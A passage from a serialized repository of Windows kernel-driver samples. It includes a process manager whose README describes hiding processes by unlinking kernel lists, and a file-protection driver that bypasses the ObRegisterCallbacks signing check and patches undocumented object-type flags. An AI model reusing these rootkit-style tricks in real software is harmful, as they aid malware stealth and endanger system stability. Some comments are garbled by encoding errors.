IN PUNICODE_STRING pRegistryString);\r\nVOID DriverUnload(IN PDRIVER_OBJECT DriverObject);\r\nNTSTATUS DispatchDeviceControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP pIrp);\r\nNTSTATUS\r\n\tDefaultPassThrough(PDEVICE_OBJECT DeviceObject,PIRP Irp);\r\n\r\n\r\n#endif\r\n" }, { "path": "ProcessManager/ProcessManagerDrv/ProcessManagerDrv.vcxproj", "content": "\r\n\r\n \r\n \r\n WinDDK\r\n Win32\r\n \r\n \r\n WinDDK\r\n x64\r\n \r\n \r\n \r\n {6125FD2D-6C93-486E-BDE4-6B97CE5F9B87}\r\n Win32Proj\r\n \"ProcessManagerRing0\"\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n .sys\r\n false\r\n $(WLHBASE)\\bin\\x86\\x86;$(WLHBASE)\\bin\\x86\r\n $(WLHBASE)\\inc\\api;$(WLHBASE)\\inc\\crt;$(WLHBASE)\\inc\\ddk;$(WLHBASE)\\inc\r\n \r\n $(WLHBASE)\\lib\\win7\\i386\r\n \r\n \r\n \r\n \r\n .sys\r\n false\r\n $(WLHBASE)\\bin\\x86\\x86;$(WLHBASE)\\bin\\x86\r\n $(WLHBASE)\\inc\\api;$(WLHBASE)\\inc\\crt;$(WLHBASE)\\inc\\ddk;$(WLHBASE)\\inc\r\n \r\n $(WLHBASE)\\lib\\win7\\i386\r\n \r\n \r\n \r\n \r\n \r\n _X86_;DBG=1\r\n false\r\n false\r\n StdCall\r\n CompileAsC\r\n \r\n \r\n \r\n \r\n ntoskrnl.lib;hal.lib;wdm.lib;%(AdditionalDependencies)\r\n \r\n \r\n true\r\n Native\r\n Driver\r\n DriverEntry\r\n true\r\n 0x10000\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n _X86_;DBG=1\r\n false\r\n false\r\n StdCall\r\n CompileAsC\r\n \r\n \r\n \r\n \r\n ntoskrnl.lib;hal.lib;wdm.lib;%(AdditionalDependencies)\r\n \r\n \r\n true\r\n Native\r\n Driver\r\n DriverEntry\r\n true\r\n 0x10000\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n" }, { "path": "ProcessManager/ProcessManagerDrv/ProcessManagerDrv.vcxproj.filters", "content": "\r\n\r\n \r\n \r\n EnumProcess\r\n \r\n \r\n HideProcess\r\n \r\n \r\n Monitor\r\n \r\n \r\n \r\n Common\r\n \r\n \r\n \r\n \r\n {57c7e7f0-7b36-459d-8c6a-647d959ae304}\r\n \r\n \r\n {62d67f48-23b0-40b3-9706-cb7451af6410}\r\n \r\n \r\n {4b5ac423-064f-4c32-881e-db7832ec10b2}\r\n \r\n \r\n {1b22565b-0dd8-4ba8-9b2e-16e799ca542d}\r\n \r\n \r\n \r\n \r\n EnumProcess\r\n \r\n \r\n HideProcess\r\n \r\n \r\n Monitor\r\n \r\n \r\n \r\n Common\r\n \r\n \r\n" }, { "path": "ProcessManager/ProcessManagerDrv/sources", "content": "TARGETNAME=ProcessManagerDrv\r\nTARGETPATH=obj\r\nTARGETTYPE=DRIVER\r\n\r\nINCLUDES=.\\\r\n\r\nSOURCES= \\\r\nProcessManagerDrv.c \\\r\nCommon.c \\\r\nEnumProcess.c \\\r\nHideProcess.c \\\r\nMonitorWin7.c\r\n\r\n" }, { "path": "ProcessManager/ReadMe", "content": "1.Enum Process By PsLookupProcessByProcessId/travel Active List/PspCidTable\n2.Hdie Process By Process Active List/PspCidTable\n3.Monitor Process CreateInformation By PsSetCreateProcessNotifyRoutineEx\n" }, { "path": "ProtectFilex64/FileProtectX64.c", "content": "\r\n\r\n#ifndef CXX_FILEPROTECTX64_H\r\n# include \"FileProtectX64.h\"\r\n#endif\r\nPVOID CallBackHandle = NULL;\r\n\r\nNTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegisterPath)\r\n{ \r\n PLDR_DATA_TABLE_ENTRY64 ldr;\r\n\r\n DriverObject->DriverUnload = UnloadDriver;\r\n ldr = (PLDR_DATA_TABLE_ENTRY64)DriverObject->DriverSection;\r\n ldr->Flags |= 0x20;\r\n\r\n ProtectFileByObRegisterCallbacks();\r\n return STATUS_SUCCESS;\r\n}\r\n\r\nNTSTATUS ProtectFileByObRegisterCallbacks()\r\n{\r\n OB_CALLBACK_REGISTRATION CallBackReg;\r\n OB_OPERATION_REGISTRATION OperationReg;\r\n NTSTATUS Status;\r\n\r\n EnableObType(*IoFileObjectType); //ļص\r\n\r\n memset(&CallBackReg, 0, sizeof(OB_CALLBACK_REGISTRATION));\r\n CallBackReg.Version = ObGetFilterVersion();\r\n CallBackReg.OperationRegistrationCount = 1;\r\n CallBackReg.RegistrationContext = NULL;\r\n RtlInitUnicodeString(&CallBackReg.Altitude, L\"321000\");\r\n\r\n memset(&OperationReg, 0, sizeof(OB_OPERATION_REGISTRATION)); //ʼṹ\r\n\r\n OperationReg.ObjectType = IoFileObjectType;\r\n OperationReg.Operations = OB_OPERATION_HANDLE_CREATE|OB_OPERATION_HANDLE_DUPLICATE; \r\n OperationReg.PreOperation = (POB_PRE_OPERATION_CALLBACK)&PreCallBack; //עһصָ\r\n CallBackReg.OperationRegistration = &OperationReg; //עһ ṹϢṹ\r\n\r\n Status = ObRegisterCallbacks(&CallBackReg, &CallBackHandle); \r\n if (!NT_SUCCESS(Status)) \r\n {\r\n Status = STATUS_UNSUCCESSFUL;\r\n } \r\n else\r\n {\r\n Status = STATUS_SUCCESS;\r\n }\r\n return Status; \r\n}\r\n\r\nOB_PREOP_CALLBACK_STATUS PreCallBack(PVOID RegistrationContext, POB_PRE_OPERATION_INFORMATION OperationInformation)\r\n{\r\n UNICODE_STRING uniDosName;\r\n UNICODE_STRING uniFilePath;\r\n PFILE_OBJECT FileObject = (PFILE_OBJECT)OperationInformation->Object;\r\n HANDLE CurrentProcessId = PsGetCurrentProcessId();\r\n\r\n if( OperationInformation->ObjectType!=*IoFileObjectType)\r\n {\r\n return OB_PREOP_SUCCESS;\r\n }\r\n //Чָ\r\n if( FileObject->FileName.Buffer==NULL || \r\n !MmIsAddressValid(FileObject->FileName.Buffer) ||\r\n FileObject->DeviceObject==NULL ||\r\n !MmIsAddressValid(FileObject->DeviceObject) )\r\n {\r\n return OB_PREOP_SUCCESS;\r\n }\r\n\r\n uniFilePath = GetFilePathByFileObject(FileObject);\r\n\r\n if (uniFilePath.Buffer==NULL||uniFilePath.Length==0)\r\n {\r\n return OB_PREOP_SUCCESS;\r\n }\r\n\r\n if(wcsstr(uniFilePath.Buffer,L\"D:\\\\Alif.txt\"))\r\n {\r\n if (FileObject->DeleteAccess==TRUE||FileObject->WriteAccess==TRUE)\r\n {\r\n if (OperationInformation->Operation == OB_OPERATION_HANDLE_CREATE)\r\n {\r\n OperationInformation->Parameters->CreateHandleInformation.DesiredAccess=0;\r\n }\r\n if(OperationInformation->Operation == OB_OPERATION_HANDLE_DUPLICATE)\r\n {\r\n OperationInformation->Parameters->DuplicateHandleInformation.DesiredAccess=0;\r\n }\r\n }\r\n }\r\n RtlVolumeDeviceToDosName(FileObject->DeviceObject, &uniDosName);\r\n DbgPrint(\"PID : %ld File : %wZ %wZ\\r\\n\", (ULONG64)CurrentProcessId, &uniDosName, &uniFilePath);\r\n return OB_PREOP_SUCCESS;\r\n}\r\n\r\n\r\nUNICODE_STRING GetFilePathByFileObject(PVOID FileObject)\r\n{\r\n POBJECT_NAME_INFORMATION ObjetNameInfor; \r\n if (NT_SUCCESS(IoQueryFileDosDeviceName((PFILE_OBJECT)FileObject, &ObjetNameInfor))) \r\n { \r\n return ObjetNameInfor->Name; \r\n } \r\n}\r\n\r\n\r\nVOID EnableObType(POBJECT_TYPE ObjectType) \r\n{\r\n POBJECT_TYPE_TEMP ObjectTypeTemp = (POBJECT_TYPE_TEMP)ObjectType;\r\n ObjectTypeTemp->TypeInfo.SupportsObjectCallbacks = 1;\r\n}\r\n\r\n\r\nVOID UnloadDriver(PDRIVER_OBJECT DriverObject)\r\n{\r\n if (CallBackHandle!=NULL)\r\n {\r\n ObUnRegisterCallbacks(CallBackHandle);\r\n }\r\n\r\n DbgPrint(\"UnloadDriver\\r\\n\");\r\n}\r\n" }, { "path": "ProtectFilex64/FileProtectX64.h", "content": "\r\n\r\n#ifndef CXX_FILEPROTECTX64_H\r\n#define CXX_FILEPROTECTX64_H\r\n\r\n#include \r\n#include \r\n\r\nNTSTATUS\r\n DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegisterPath);\r\n\r\nVOID UnloadDriver(PDRIVER_OBJECT DriverObject);\r\n\r\n\r\n\r\n\r\ntypedef struct _LDR_DATA_TABLE_ENTRY64\r\n{\r\n LIST_ENTRY64 InLoadOrderLinks;\r\n LIST_ENTRY64 InMemoryOrderLinks;\r\n LIST_ENTRY64 InInitializationOrderLinks;\r\n PVOID DllBase;\r\n PVOID EntryPoint;\r\n ULONG SizeOfImage;\r\n UNICODE_STRING FullDllName;\r\n UNICODE_STRING BaseDllName;\r\n ULONG Flags;\r\n USHORT LoadCount;\r\n USHORT TlsIndex;\r\n PVOID SectionPointer;\r\n ULONG CheckSum;\r\n PVOID LoadedImports;\r\n PVOID EntryPointActivationContext;\r\n PVOID PatchInformation;\r\n LIST_ENTRY64 ForwarderLinks;\r\n LIST_ENTRY64 ServiceTagLinks;\r\n LIST_ENTRY64 StaticLinks;\r\n PVOID ContextInformation;\r\n ULONG64 OriginalBase;\r\n LARGE_INTEGER LoadTime;\r\n} LDR_DATA_TABLE_ENTRY64, *PLDR_DATA_TABLE_ENTRY64;\r\n\r\n\r\n\r\ntypedef struct _OBJECT_TYPE_INITIALIZER \r\n{\r\n UINT16 Length;\r\n union \r\n {\r\n UINT8 ObjectTypeFlags;\r\n struct \r\n {\r\n UINT8 CaseInsensitive : 1; UINT8 UnnamedObjectsOnly : 1; UINT8 UseDefaultObject : 1; UINT8 SecurityRequired : 1; UINT8 MaintainHandleCount : 1; UINT8 MaintainTypeList : 1; UINT8 SupportsObjectCallbacks : 1; \r\n };\r\n };\r\n ULONG32 ObjectTypeCode;\r\n ULONG32 InvalidAttributes;\r\n struct _GENERIC_MAPPING GenericMapping; \r\n ULONG32 ValidAccessMask;\r\n ULONG32 RetainAccess;\r\n enum _POOL_TYPE PoolType;\r\n ULONG32 DefaultPagedPoolCharge;\r\n ULONG32 DefaultNonPagedPoolCharge;\r\n PVOID DumpProcedure;\r\n PVOID OpenProcedure;\r\n PVOID CloseProcedure;\r\n PVOID DeleteProcedure;\r\n PVOID ParseProcedure;\r\n PVOID SecurityProcedure;\r\n PVOID QueryNameProcedure;\r\n PVOID OkayToCloseProcedure;\r\n}OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER;\r\n\r\n\r\ntypedef struct _OBJECT_TYPE_TEMP \r\n{\r\n struct _LIST_ENTRY TypeList; \r\n struct _UNICODE_STRING Name; \r\n VOID* DefaultObject;\r\n UINT8 Index;\r\n UINT8 _PADDING0_[0x3];\r\n ULONG32 TotalNumberOfObjects;\r\n ULONG32 TotalNumberOfHandles;\r\n ULONG32 HighWaterNumberOfObjects;\r\n ULONG32 HighWaterNumberOfHandles;\r\n UINT8 _PADDING1_[0x4];\r\n struct _OBJECT_TYPE_INITIALIZER TypeInfo; \r\n ULONG64 TypeLock; \r\n ULONG32 Key;\r\n UINT8 _PADDING2_[0x4];\r\n struct _LIST_ENTRY CallbackList; \r\n}OBJECT_TYPE_TEMP, *POBJECT_TYPE_TEMP;\r\n\r\n\r\n\r\nVOID EnableObType(POBJECT_TYPE ObjectType);\r\nUNICODE_STRING GetFilePathByFileObject(PVOID FileObject);\r\nOB_PREOP_CALLBACK_STATUS PreCallBack(PVOID RegistrationContext, POB_PRE_OPERATION_INFORMATION OperationInformation);\r\nNTSTATUS ProtectFileByObRegisterCallbacks();\r\n\r\n\r\n#endif \r\n\r\n\r\n\r\n\r\n" }, { "path": "ProtectFilex64/FileProtectX64.sln", "content": "Microsoft Visual Studio Solution File, Format Version 11.00\r\n# Visual Studio 2010\r\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"FileProtectX64\", \"FileProtectX64.vcxproj\", \"{4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}\"\r\nEndProject\r\nGlobal\r\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\r\n\t\tWinDDK|Win32 = WinDDK|Win32\r\n\tEndGlobalSection\r\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\r\n\t\t{4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}.WinDDK|Win32.ActiveCfg = WinDDK|Win32\r\n\t\t{4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}.WinDDK|Win32.Build.0 = WinDDK|Win32\r\n\tEndGlobalSection\r\n\tGlobalSection(SolutionProperties) = preSolution\r\n\t\tHideSolutionNode = FALSE\r\n\tEndGlobalSection\r\nEndGlobal\r\n" }, { "path": "ProtectFilex64/FileProtectX64.vcxproj", "content": "\r\n\r\n \r\n \r\n WinDDK\r\n Win32\r\n \r\n \r\n \r\n {4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}\r\n Win32Proj\r\n \"FileProtectX64\"\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n .sys\r\n false\r\n $(WLHBASE)\\bin\\x86\\x86;$(WLHBASE)\\bin\\x86\r\n $(WLHBASE)\\inc\\api;$(WLHBASE)\\inc\\crt;$(WLHBASE)\\inc\\ddk;$(WLHBASE)\\inc\r\n \r\n $(WLHBASE)\\lib\\win7\\i386\r\n \r\n \r\n \r\n \r\n \r\n _X86_;DBG=1\r\n false\r\n false\r\n StdCall\r\n CompileAsC\r\n \r\n \r\n \r\n \r\n ntoskrnl.lib;hal.lib;wdm.lib;%(AdditionalDependencies)\r\n \r\n \r\n true\r\n Native\r\n Driver\r\n DriverEntry\r\n true\r\n 0x10000\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n" }, { "path": "ProtectFilex64/ReadMe.txt", "content": "Protect File in Windows 7 by ObRegisterCallbacks\n" }, { "path": "ProtectFilex64/common.h", "content": "/**************************************************************************************\r\n* AUTHOR : MZ\r\n* DATE : 2015-8-10\r\n* MODULE : common.h\r\n*\r\n* Command: \r\n* IOCTRL Common Header\r\n*\r\n* Description:\r\n* Common data for the IoCtrl driver and application\r\n*\r\n****************************************************************************************\r\n* Copyright (C) 2010 MZ.\r\n****************************************************************************************/\r\n\r\n#pragma once \r\n\r\n//#######################################################################################\r\n// D E F I N E S\r\n//#######################################################################################\r\n\r\n#if DBG\r\n#define dprintf DbgPrint\r\n#else\r\n#define dprintf\r\n#endif\r\n\r\n//ַ֧û\r\n#define DEVICE_NAME L\"\\\\Device\\\\devFileProtectX64\" // Driver Name\r\n#define SYMBOLIC_LINK_NAME L\"\\\\DosDevices\\\\FileProtectX64\" // Symbolic Link Name\r\n#define WIN32_LINK_NAME \"\\\\\\\\.\\\\FileProtectX64\" // Win32 Link Name\r\n\r\n//ַ֧û\r\n#define SYMBOLIC_LINK_GLOBAL_NAME L\"\\\\DosDevices\\\\Global\\\\FileProtectX64\" // Symbolic Link Name\r\n\r\n#define DATA_TO_APP \"Hello World from Driver\"\r\n\r\n//\r\n// Device IO Control Codes\r\n//\r\n#define IOCTL_BASE 0x800\r\n#define MY_CTL_CODE(i) \\\r\n CTL_CODE \\\r\n ( \\\r\n FILE_DEVICE_UNKNOWN, \\\r\n IOCTL_BASE + i, \\\r\n METHOD_BUFFERED, \\\r\n FILE_ANY_ACCESS \\\r\n )\r\n\r\n#define IOCTL_HELLO_WORLD MY_CTL_CODE(0)\r\n#define IOCTRL_REC_FROM_APP MY_CTL_CODE(1)\r\n#define IOCTRL_SEND_TO_APP MY_CTL_CODE(2)\r\n\r\n\r\n//\r\n// TODO: Add your IOCTL define here\r\n//\r\n\r\n\r\n\r\n//\r\n// TODO: Add your struct,enum(public) define here\r\n//\r\n\r\n\r\n\r\n/* EOF */\r\n\r\n" }, { "path": "ProtectFilex64/sources", "content": "TARGETNAME=FileProtectX64\r\n#TARGETPATH=$(BASEDIR)\\lib\r\nTARGETPATH=obj\r\nTARGETTYPE=DRIVER\r\n\r\nINCLUDES=.\\\r\n\r\nSOURCES=FileProtectX64.c\r\n\r\n" }, { "path": "ProtectFilex64/struct.h", "content": "/***************************************************************************************\r\n* AUTHOR : MZ\r\n* DATE : 2015-8-10\r\n* MODULE : struct.h\r\n* \r\n* Command: \r\n* ͷļ\r\n*\r\n* Description:\r\n* һЩ,ظͶ; ڴҪĺ/ṹ\r\n*\r\n****************************************************************************************\r\n\r\nCopyright (C) 2010 MZ.\r\n****************************************************************************************/\r\n\r\n#pragma once\r\n\r\n#include \r\n\r\ntypedef long LONG;\r\ntypedef unsigned char BOOL, *PBOOL;\r\ntypedef unsigned char BYTE, *PBYTE;\r\ntypedef unsigned long DWORD, *PDWORD;\r\ntypedef unsigned short WORD, *PWORD;\r\n\r\ntypedef void *HMODULE;\r\ntypedef long NTSTATUS, *PNTSTATUS;\r\ntypedef unsigned long DWORD;\r\ntypedef DWORD * PDWORD;\r\ntypedef unsigned long ULONG;\r\ntypedef unsigned long ULONG_PTR;\r\ntypedef ULONG *PULONG;\r\ntypedef unsigned short WORD;\r\ntypedef unsigned char BYTE; \r\ntypedef unsigned char UCHAR;\r\ntypedef unsigned short USHORT;\r\ntypedef void *PVOID;\r\ntypedef BYTE BOOLEAN;\r\n#define SEC_IMAGE 0x01000000\r\n\r\n//----------------------------------------------------\r\n\r\n// PEB\r\n \r\n#pragma pack(4)\r\ntypedef struct _PEB_LDR_DATA\r\n{\r\n ULONG Length;\r\n BOOLEAN Initialized;\r\n PVOID SsHandle;\r\n LIST_ENTRY InLoadOrderModuleList;\r\n LIST_ENTRY InMemoryOrderModuleList;\r\n LIST_ENTRY InInitializationOrderModuleList;\r\n} PEB_LDR_DATA, *PPEB_LDR_DATA;\r\n#pragma pack() \r\n\r\ntypedef struct _PEB_ORIG {\r\n BYTE Reserved1[2];\r\n BYTE BeingDebugged;\r\n BYTE Reserved2[229];\r\n PVOID Reserved3[59];\r\n ULONG SessionId;\r\n} PEB_ORIG, *PPEB_ORIG;\r\n\r\ntypedef void (*PPEBLOCKROUTINE)(PVOID PebLock);\r\n\r\nstruct _PEB_FREE_BLOCK {\r\n struct _PEB_FREE_BLOCK *Next;\r\n ULONG Size;\r\n};\r\ntypedef struct _PEB_FREE_BLOCK PEB_FREE_BLOCK;\r\ntypedef struct _PEB_FREE_BLOCK *PPEB_FREE_BLOCK;\r\n\r\ntypedef struct _RTL_DRIVE_LETTER_CURDIR {\r\n USHORT Flags;\r\n USHORT Length;\r\n ULONG TimeStamp;\r\n UNICODE_STRING DosPath;\r\n} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;\r\n\r\ntypedef struct _RTL_USER_PROCESS_PARAMETERS {\r\n ULONG MaximumLength;\r\n ULONG Length;\r\n ULONG Flags;\r\n ULONG DebugFlags;\r\n PVOID ConsoleHandle;\r\n ULONG ConsoleFlags;\r\n HANDLE StdInputHandle;\r\n HANDLE StdOutputHandle;\r\n HANDLE StdErrorHandle;\r\n UNICODE_STRING CurrentDirectoryPath;\r\n HANDLE CurrentDirectoryHandle;\r\n UNICODE_STRING DllPath;\r\n UNICODE_STRING ImagePathName;\r\n UNICODE_STRING CommandLine;\r\n PVOID Environment;\r\n ULONG StartingPositionLeft;\r\n ULONG StartingPositionTop;\r\n ULONG Width;\r\n ULONG Height;\r\n ULONG CharWidth;\r\n ULONG CharHeight;\r\n ULONG ConsoleTextAttributes;\r\n ULONG WindowFlags;\r\n ULONG ShowWindowFlags;\r\n UNICODE_STRING WindowTitle;\r\n UNICODE_STRING DesktopName;\r\n UNICODE_STRING ShellInfo;\r\n UNICODE_STRING RuntimeData;\r\n RTL_DRIVE_LETTER_CURDIR DLCurrentDirectory[0x20];\r\n} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;\r\n\r\ntypedef struct _PEB {\r\n BOOLEAN InheritedAddressSpace;\r\n BOOLEAN ReadImageFileExecOptions;\r\n BOOLEAN BeingDebugged;\r\n BOOLEAN Spare;\r\n HANDLE Mutant;\r\n PVOID ImageBaseAddress;\r\n PPEB_LDR_DATA LoaderData;\r\n PRTL_USER_PROCESS_PARAMETERS ProcessParameters;\r\n PVOID SubSystemData;\r\n PVOID ProcessHeap;\r\n PVOID FastPebLock;\r\n PPEBLOCKROUTINE FastPebLockRoutine;\r\n PPEBLOCKROUTINE FastPebUnlockRoutine;\r\n ULONG EnvironmentUpdateCount;\r\n PVOID *KernelCallbackTable;\r\n PVOID EventLogSection;\r\n PVOID EventLog;\r\n PPEB_FREE_BLOCK FreeList;\r\n ULONG TlsExpansionCounter;\r\n PVOID TlsBitmap;\r\n ULONG TlsBitmapBits[0x2];\r\n PVOID ReadOnlySharedMemoryBase;\r\n PVOID ReadOnlySharedMemoryHeap;\r\n PVOID *ReadOnlyStaticServerData;\r\n PVOID AnsiCodePageData;\r\n PVOID OemCodePageData;\r\n PVOID UnicodeCaseTableData;\r\n ULONG NumberOfProcessors;\r\n ULONG NtGlobalFlag;\r\n BYTE Spare2[0x4];\r\n LARGE_INTEGER CriticalSectionTimeout;\r\n ULONG HeapSegmentReserve;\r\n ULONG HeapSegmentCommit;\r\n ULONG HeapDeCommitTotalFreeThreshold;\r\n ULONG HeapDeCommitFreeBlockThreshold;\r\n ULONG NumberOfHeaps;\r\n ULONG MaximumNumberOfHeaps;\r\n PVOID **ProcessHeaps;\r\n PVOID GdiSharedHandleTable;\r\n PVOID ProcessStarterHelper;\r\n PVOID GdiDCAttributeList;\r\n PVOID LoaderLock;\r\n ULONG OSMajorVersion;\r\n ULONG OSMinorVersion;\r\n ULONG OSBuildNumber;\r\n ULONG OSPlatformId;\r\n ULONG ImageSubSystem;\r\n ULONG ImageSubSystemMajorVersion;\r\n ULONG ImageSubSystemMinorVersion;\r\n ULONG GdiHandleBuffer[0x22];\r\n ULONG PostProcessInitRoutine;\r\n ULONG TlsExpansionBitmap;\r\n BYTE TlsExpansionBitmapBits[0x80];\r\n ULONG SessionId;\r\n} PEB, *PPEB;\r\n\r\ntypedef struct _SYSTEM_PROCESS_INFORMATION {\r\n ULONG NextEntryOffset;\r\n ULONG NumberOfThreads;\r\n LARGE_INTEGER SpareLi1;\r\n LARGE_INTEGER SpareLi2;\r\n LARGE_INTEGER SpareLi3;\r\n LARGE_INTEGER CreateTime;\r\n LARGE_INTEGER UserTime;\r\n LARGE_INTEGER KernelTime;\r\n UNICODE_STRING ImageName;\r\n KPRIORITY BasePriority;\r\n HANDLE UniqueProcessId;\r\n HANDLE InheritedFromUniqueProcessId;\r\n ULONG HandleCount;\r\n ULONG SpareUl2;\r\n ULONG SpareUl3;\r\n ULONG PeakVirtualSize;\r\n ULONG VirtualSize;\r\n ULONG PageFaultCount;\r\n ULONG PeakWorkingSetSize;\r\n ULONG WorkingSetSize;\r\n ULONG QuotaPeakPagedPoolUsage;\r\n ULONG QuotaPagedPoolUsage;\r\n ULONG QuotaPeakNonPagedPoolUsage;\r\n ULONG QuotaNonPagedPoolUsage;\r\n ULONG PagefileUsage;\r\n ULONG PeakPagefileUsage;\r\n ULONG PrivatePageCount;\r\n} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;\r\n\r\ntypedef struct _SYSTEM_THREAD_INFORMATION {\r\n LARGE_INTEGER KernelTime;\r\n LARGE_INTEGER UserTime;\r\n LARGE_INTEGER CreateTime;\r\n ULONG WaitTime;\r\n PVOID StartAddress;\r\n CLIENT_ID ClientId;\r\n KPRIORITY Priority;\r\n LONG BasePriority;\r\n ULONG ContextSwitches;\r\n ULONG ThreadState;\r\n ULONG WaitReason;\r\n} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION;\r\n\r\nstruct _SYSTEM_THREADS\r\n{\r\n LARGE_INTEGER KernelTime;\r\n LARGE_INTEGER UserTime;\r\n LARGE_INTEGER CreateTime;\r\n ULONG WaitTime;\r\n PVOID StartAddress;\r\n CLIENT_ID ClientIs;\r\n KPRIORITY Priority;\r\n KPRIORITY BasePriority;\r\n ULONG ContextSwitchCount;\r\n ULONG ThreadState;\r\n KWAIT_REASON WaitReason;\r\n};\r\n\r\nstruct _SYSTEM_PROCESSES\r\n{\r\n ULONG NextEntryDelta;\r\n ULONG ThreadCount;\r\n ULONG Reserved[6];\r\n LARGE_INTEGER CreateTime;\r\n LARGE_INTEGER UserTime;\r\n LARGE_INTEGER KernelTime;\r\n UNICODE_STRING ProcessName;\r\n KPRIORITY BasePriority;\r\n ULONG ProcessId;\r\n ULONG InheritedFromProcessId;\r\n ULONG HandleCount;\r\n ULONG Reserved2[2];\r\n VM_COUNTERS VmCounters;\r\n IO_COUNTERS IoCounters; //windows 2000 only\r\n struct _SYSTEM_THREADS Threads[1];\r\n};\r\n\r\ntypedef struct _HANDLE_TABLE_ENTRY_INFO\r\n{\r\n ULONG AuditMask;\r\n} HANDLE_TABLE_ENTRY_INFO, *PHANDLE_TABLE_ENTRY_INFO;\r\n\r\ntypedef struct _HANDLE_TABLE_ENTRY\r\n{\r\n union\r\n {\r\n PVOID Object;\r\n ULONG_PTR ObAttributes;\r\n PHANDLE_TABLE_ENTRY_INFO InfoTable;\r\n ULONG_PTR Value;\r\n };\r\n union\r\n {\r\n ULONG GrantedAccess;\r\n struct\r\n {\r\n USHORT GrantedAccessIndex;\r\n USHORT CreatorBackTraceIndex;\r\n };\r\n LONG NextFreeTableEntry;\r\n };\r\n} HANDLE_TABLE_ENTRY, *PHANDLE_TABLE_ENTRY;\r\n\r\ntypedef struct _HANDLE_TABLE\r\n{\r\n ULONG TableCode;\r\n PEPROCESS QuotaProcess;\r\n PVOID UniqueProcessId;\r\n ULONG HandleTableLock[4];\r\n LIST_ENTRY HandleTableList;\r\n ULONG HandleContentionEvent;\r\n PVOID DebugInfo;\r\n LONG ExtraInfoPages;\r\n ULONG FirstFree;\r\n ULONG LastFree;\r\n ULONG NextHandleNeedingPool;\r\n LONG HandleCount;\r\n union\r\n {\r\n ULONG Flags;\r\n UCHAR StrictFIFO:1;\r\n };\r\n} HANDLE_TABLE, *PHANDLE_TABLE;\r\n\r\ntypedef struct _OBJECT_TYPE_INITIALIZER {\r\n USHORT Length;\r\n BOOLEAN UseDefaultObject;\r\n BOOLEAN CaseInsensitive;\r\n ULONG InvalidAttributes;\r\n GENERIC_MAPPING GenericMapping;\r\n ULONG ValidAccessMask;\r\n BOOLEAN SecurityRequired;\r\n BOOLEAN MaintainHandleCount;\r\n BOOLEAN MaintainTypeList;\r\n POOL_TYPE PoolType;\r\n ULONG DefaultPagedPoolCharge;\r\n ULONG DefaultNonPagedPoolCharge;\r\n PVOID DumpProcedure;\r\n PVOID OpenProcedure;\r\n PVOID CloseProcedure;\r\n PVOID DeleteProcedure;\r\n PVOID ParseProcedure;\r\n PVOID SecurityProcedure;\r\n PVOID QueryNameProcedure;\r\n PVOID OkayToCloseProcedure;\r\n} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER;\r\n\r\n\r\ntypedef struct _OBJECT_TYPE {\r\n ERESOURCE Mutex;\r\n LIST_ENTRY TypeList;\r\n UNICODE_STRING Name; // Copy from object header for convenience\r\n PVOID DefaultObject;\r\n ULONG Index;\r\n ULONG TotalNumberOfObjects;\r\n ULONG TotalNumberOfHandles;\r\n ULONG HighWaterNumberOfObjects;\r\n ULONG HighWaterNumberOfHandles;\r\n OBJECT_TYPE_INITIALIZER TypeInfo;\r\n ULONG Key;\r\n ERESOURCE ObjectLocks[4];\r\n} OBJECT_TYPE, *POBJECT_TYPE;\r\n\r\ntypedef struct _OBJECT_DIRECTORY {\r\n struct _OBJECT_DIRECTORY_ENTRY *HashBuckets[ 37 ];\r\n ULONG Lock;\r\n PVOID DeviceMap;\r\n ULONG SessionId;\r\n USHORT Reserved;\r\n USHORT SymbolicLinkUsageCount;\r\n} OBJECT_DIRECTORY, *POBJECT_DIRECTORY;\r\n\r\n/*\r\ntypedef enum _KAPC_ENVIRONMENT {\r\n OriginalApcEnvironment,\r\n AttachedApcEnvironment,\r\n CurrentApcEnvironment,\r\n InsertApcEnvironment\r\n} KAPC_ENVIRONMENT;\r\n*/\r\n\r\ntypedef enum\r\n{\r\n OriginalApcEnvironment,\r\n AttachedApcEnvironment,\r\n CurrentApcEnvironment\r\n} KAPC_ENVIRONMENT;\r\n\r\n//----------------------------------------------------\r\n\r\nNTSYSAPI\r\nNTSTATUS\r\nNTAPI ZwQuerySystemInformation(\r\n IN ULONG SystemInformationClass,\r\n IN PVOID SystemInformation,\r\n IN ULONG SystemInformationLength,\r\n OUT PULONG ReturnLength);\r\n\r\n\r\n\r\nNTSTATUS\r\n NtOpenFile(\r\n OUT PHANDLE FileHandle,\r\n IN ACCESS_MASK DesiredAccess,\r\n IN POBJECT_ATTRIBUTES ObjectAttributes,\r\n OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n IN ULONG ShareAccess,\r\n IN ULONG OpenOptions\r\n );\r\n\r\nNTSTATUS \r\nZwOpenProcess(\r\n OUT PHANDLE ProcessHandle, \r\n IN ACCESS_MASK DesiredAccess, \r\n IN POBJECT_ATTRIBUTES ObjectAttributes, \r\n IN PCLIENT_ID ClientId\r\n );\r\n\r\nNTSTATUS\r\nPsLookupProcessByProcessId(\r\n IN HANDLE ProcessId,\r\n OUT 